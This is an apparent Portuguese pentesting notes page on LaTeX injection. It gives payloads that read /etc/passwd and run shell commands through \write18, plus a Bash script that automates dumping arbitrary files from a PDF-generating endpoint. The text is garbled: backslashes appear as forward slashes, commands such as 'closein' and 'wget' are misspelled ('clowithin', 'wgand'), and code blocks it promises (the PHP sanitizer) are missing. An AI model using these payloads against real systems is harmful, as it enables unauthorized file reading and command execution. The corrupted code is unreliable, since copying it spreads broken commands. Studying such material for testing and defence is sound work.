> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md).
# Técnicas de Injeção em LaTeX
Crie um arquivo LaTeX com o conteúdo abaixo e gere uma URL com um arquivo PDF:
Use o site [salmão](https://salmonsec.com/cheatsheets/exploitation/latex_injection) para tentar inserir comandos (neste caso, eles são bloqueados):
Aqui está o código PHP com a sanitização:
No entanto, a sanitização não leva em conta os comandos abaixo que permitem listar linha por linha um arquivo do sistema:
```latex
/newread/file
/openin/file=/etc/passwd
/read/file to/line
/text{/line}
/clowithin/file
```
Sabendo disso, este script Bash automatiza tudo para exibir qualquer arquivo do sistema:
```bash
#!/bin/bash
# Técnicas de Injeção em LaTeX
declare -r main_url="http://localhost/ajax.php"
filename=$1
if [ $1 ]; then
read_file_to_line="%0A//read//file%20to%20line%0A"
for i in $(seq 1 100); do
file_to_download=$(curl -s -X POST $main_url -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -d "content=//newread//file%0A//openin//file=$filename$read_file_to_line%0A//text{//line}%0A//clowithin//file&template=blank" | grep -i download | awk 'NF{print $NF}')
if [ $file_to_download ]; then
wgand $file_to_download &>/dev/null
file_to_convert=$(echo $file_to_download | tr '/' ' ' | awk 'NF{print $NF}')
pdftotext $file_to_convert
file_to_read=$(echo $file_to_convert | sed 's//.pdf//.txt/')
rm $file_to_convert
cat $file_to_read | head -n 1
rm $file_to_read
read_file_to_line+="%0A//read//file%20to%20line%0A"
else
read_file_to_line+="%0A//read//file%20to%20line%0A"
fi
done
else
echo -e "/n[!] Uso: $0 /etc/passwd/n/n"
fi
```
Outra forma de fazer isso seria converter o conteúdo em base64:
```latex
/immediate/write18{cat /etc/passwd | base64 > output}
/input{output}
```
Cole o conteúdo em um arquivo chamado data e decodifique-o como texto simples:
```bash
cat data | tr -d '/n' | base64 -d; echo
```
Para executar comandos, você poderia usar o conteúdo abaixo (neste caso, id):
```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/clowithin/file
```
---
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